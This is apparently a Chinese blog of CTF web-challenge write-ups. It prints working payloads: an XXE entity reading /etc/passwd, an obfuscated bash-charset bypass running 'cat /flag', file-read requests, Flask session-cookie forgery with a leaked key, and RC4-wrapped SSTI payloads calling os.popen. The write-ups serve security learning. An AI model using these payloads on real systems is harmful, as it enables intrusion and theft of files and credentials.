少女祈祷中...

[KPCTF 2024 决赛]Where is the flag

考察点:

1.测试XXE是否存在

1
2
3
4
5
6
7
8
9
10
 <?php
libxml_disable_entity_loader(false);
$data = file_get_contents("php://input");
$xml = simplexml_load_string($data,'SimpleXMLElement', LIBXML_NOENT);
if (isset($xml->username)) {
echo $xml->username;
} else {
show_source(__FILE__);
}
?>

测试:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<username>&xxe;</username>
</root>

image-20250430001305276

确实是存在,再尝试读取环境变量

image-20250430001436008

失败了,去查发现应该是没有权限

2.深入了解XXE

解释代码

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!-- 定义根元素为 root 的 DTD -->
<!ENTITY xxe SYSTEM "file:///etc/passwd"> <!-- 声明通用实体 xxe,引用外部文件 -->
]>
<root> <!-- 根元素开始 -->
<username>&xxe;</username> <!-- 引用实体 xxe,替换为文件内容 -->
</root>
1
&	引用外部元素

比较不同:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE tttt [ <#这个root可以任意命名>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<t>
<username>
&xxe;
</username>
</t>

可以!

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
&xxe;
</root>

不行!

为什么?

根本原因:服务端的数据处理逻辑

问题不在于 XML 语法或 XXE 本身,而是 服务端代码的解析逻辑 限定了只处理特定标签(如 <username>)。以下是具体分析:


场景模拟:服务端代码示例

假设服务端使用如下代码解析 XML(以 Python 为例):

1
2
3
4
5
6
7
8
from lxml import etree

xml_data = request.body # 用户提交的 XML 数据
root = etree.fromstring(xml_data)

# 服务端仅尝试从 <username> 标签提取内容
username = root.findtext('username') # 关键点:只取 username 标签的文本
response.write(username) # 返回 username 的内容

关键逻辑

  • 服务端通过 root.findtext('username') 显式指定 提取 <username> 标签的文本内容。
  • 如果 XML 中没有 <username> 标签,则 username 变量为 None,响应中不会返回任何内容。
所以,我们要一步步测试内容,是name or username 之类的一步步测试

1.什么是 DTD,什么是嵌套实体

DTD:
1
2
<!--DTD 相当于容器 -->
<!DOCTYPE root [ <!-- 定义根元素为 root 的 DTD --> (名字可以乱改)
嵌套实体
1
2
3
<!ENTITY a "Hello">
<!ENTITY b "&a; World">
<root>&b;</root> <!-- 输出 "Hello World" -->

2.什么是<!DOCTYPE<!ENTITY

DOCTYPE 是什么? (定义文档)

  • 定义<!DOCTYPE> 是 XML 文档的 文档类型声明,用于定义 DTD(Document Type Definition)。

  • 作用:

    1. 约束 XML 结构(如元素嵌套关系)。
    2. 声明实体(Entities),包括内部实体和外部实体。
  • 语法:

    1
    2
    3
    <!DOCTYPE 根元素名 [ 
    <!-- 内部 DTD 规则 -->
    ]>
    • 示例:<!DOCTYPE root [...]> 表示根元素名为 root

ENTITY 是什么? (定义变量)

  • 定义:实体是 XML 中用于 复用数据 的占位符,类似编程中的变量。
  • 分类:
    1. 通用实体(General Entity):
      • 在 XML 文档主体中引用。
      • 声明:<!ENTITY name "value">
      • 引用:&name;
    2. 参数实体(Parameter Entity):
      • 仅在 DTD 内部使用。
      • 声明:<!ENTITY % name "value">
      • 引用:%name;
    3. 外部实体(External Entity):
      • 通过 SYSTEM 关键字引用外部资源。
      • 示例:<!ENTITY ext SYSTEM "file:///etc/passwd">

测试存在XXE代码:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe "HelloXXE">
]>
<root>
<username>
&xxe;
</username>
</root>

[HNCTF 2022 WEEK3]ssssti

image-20250518120030229

这个b注入点,谁想得到

1
http://node5.anna.nssctf.cn:28966/?name={{7*7}}

[安洵杯 2020]BASH

考察点:

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
highlight_file(__FILE__);
if(isset($_POST["cmd"]))
{
$test = $_POST['cmd'];
$white_list = str_split('${#}\\(<)\'0');
$char_list = str_split($test);
foreach($char_list as $c){
if(!in_array($c,$white_list)){
die("Cyzcc");
}
}
exec($test);
}
?>

专门生成的网站:https://probiusofficial.github.io/bashFuck/

image-20250601223349519

EXP

1
2
3
cmd=$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\\$(($((${##}<<${##}))#${##}0${##}0${##}${##}${##}0))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}00${##}000${##}))\\$(($((${##}<<${##}))#${##}00${##}000${##}))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}${##}${##}000))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}0${##}0${##}0))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\'
即cat /flag|tee 1.txt
1.txt找到flag

image-20250601223023947

得到:

image-20250601223510018

[NCTF 2023]Webshell Generator

考察点:  sed -e 执行漏洞 

抓包发现回显页面有点奇怪:

image-20250602235656321

疑似提醒可以任意读取

发现还真的可以读取:

1
2
3
POST /download.php?file=/etc/passwd&filename=1.php HTTP/1.1

#&filename=1.php不能少,少了就没有回显了

image-20250602235354841

读取环境变量:

1
权限不足

读取源码:

1
POST /download.php?file=index.php&filename=1.php HTTP/1.1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
function security_validate()
{
foreach ($_POST as $key => $value) {
if (preg_match('/\r|\n/', $value)) {
die("$key 不能包含换行符!");
}
if (strlen($value) > 114) {
die("$key 不能超过114个字符!");
}
}
}
security_validate();
if (@$_POST['method'] && @$_POST['key'] && @$_POST['filename']) {
if ($_POST['language'] !== 'PHP') {
die("PHP是最好的语言");
}
$method = $_POST['method'];
$key = $_POST['key'];
putenv("METHOD=$method") or die("你的method太复杂了!");
putenv("KEY=$key") or die("你的key太复杂了!");
$status_code = -1;
$filename = shell_exec("sh generate.sh");
if (!$filename) {
die("生成失败了!");
}
$filename = trim($filename);
header("Location: download.php?file=$filename&filename={$_POST['filename']}");
exit();
}
?>
1

prize_p4

1
@app.route('/getkey', methods=["GET"]) def getkey(): if request.method != "GET": session["key"]=SECRET_KEY

image-20250605012231513

只有更换,不是GET才行

改为HEAD:

image-20250605012101105

1
session=eyJhZG1pbiI6ZmFsc2UsImRhdGEiOnsiIGIiOiJNVEU9In0sImtleSI6Ijg3ZTY0NWRmLWU0ODItNDY0Yi1hYjZhLTg1NDBiYmJmN2RlNyIsInVybCI6IjExIn0.aECAdA.e055QPMEw5szTfVAnEwrC7eTUv4; 
1
2
3
4
5
6
7
8
{
"admin": false,
"data": {
" b": "MTE="
},
"key": "87e645df-e482-464b-ab6a-8540bbbf7de7",
"url": "11"
}

伪造Cookie方法:

网页伪造法:

打开WEB工具箱找到cookie伪造,只要输入密钥即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import *
import base64

app = Flask(__name__)
app.config['SECRET_KEY'] = '87e645df-e482-464b-ab6a-8540bbbf7de7'

@app.route("/",methods=["GET","POST"])
def login():
session["admin"] = True
return request.full_path

if __name__ == '__main__':
app.run(host='0.0.0.0',port=8000)

image-20250605012828894

也可以使用插件

image-20250605012855637

1
eyJhZG1pbiI6dHJ1ZX0.aECBZw.lI7bZLQpfh4ub_yeP3AZKYhqIpM

得到源码:

image-20250605013032022

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from flask import Flask, request, session, render_template, url_for,redirect,render_template_string
import base64
import urllib.request
import uuid
import flag

SECRET_KEY=str(uuid.uuid4())

app = Flask(__name__)
app.config.update(dict(
SECRET_KEY=SECRET_KEY,
))

#src in /app

@app.route('/')
@app.route('/index',methods=['GET'])
def index():
return render_template("index.html")

@app.route('/get_data', methods=["GET",'POST'])
def get_data():
data = request.form.get('data', '123')
if type(data) is str:
data=data.encode('utf8')
url = request.form.get('url', 'http://127.0.0.1:8888/')
if data and url:
session['data'] = data
session['url'] = url
session["admin"]=False
return redirect(url_for('home'))
return redirect(url_for('/'))

@app.route('/home', methods=["GET"])
def home():
if session.get("admin",False):
return render_template_string(open(__file__).read())
else:
return render_template("home.html",data=session.get('data','Not find data...'))

@app.route('/getkey', methods=["GET"])
def getkey():
if request.method != "GET":
session["key"]=SECRET_KEY
return render_template_string('''@app.route('/getkey', methods=["GET"])
def getkey():
if request.method != "GET":
session["key"]=SECRET_KEY''')

@app.route('/get_hindd_result', methods=["GET"])
def get_hindd_result():
if session['data'] and session['url']:
if 'file:' in session['url']:
return "no no no"
data=(session['data']).decode('utf8')
url_text=urllib.request.urlopen(session['url']).read().decode('utf8')
if url_text in data or data in url_text:
return "you get it"
return "what ???"

@app.route('/getflag', methods=["GET"])
def get_flag():
res = flag.waf(request)
return res

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=8888)

如果cookie值不只需要admin呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@app.route('/set_admin')
def set_admin():
# 设置多个字段以匹配标准结构
session.permanent = False
session.modified = True
session['_fresh'] = False
session['admin'] = True
session['data'] = {' b': 'MTEx'}
session['url'] = '127.0.0.1'

#多种多样,设置你想设置的cookie配置

# 返回真实 session 值
return request.full_path

image-20250605014232341

也是正确的

[NISACTF 2022]is secret

考察点:报错代码审计 + Re4加密

扫描得到secret页面:

image-20250611002022275

猜测是secret

image-20250611002052745

出现报错页面:

image-20250611002119588

叫AI分析:

image-20250611002145049

看来是使用RC4加密后的SSTI

1
key:HereIsTreasure

image-20250611003739838

不是在这上面更改,是下面!!!

image-20250611003830578

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
print("加密后的字符串是:%s" %quote(cipher))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
#固定rc4
rc4_main("HereIsTreasure","{{ 7*7 }}")
#{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}
1
config.__class__.__init__.__globals__['os'].popen('cat /f*').read()

最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import base64
from urllib.parse import quote
import sys
sys.stdout.reconfigure(encoding='utf-8') # 处理终端编码(Windows 可能需要)

def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
print("加密后的字符串是:%s" %quote(cipher))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
#固定rc4
rc4_main("HereIsTreasure","{{ config.__class__.__init__.__globals__['os'].popen('cat /f*').read() }}")

#{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}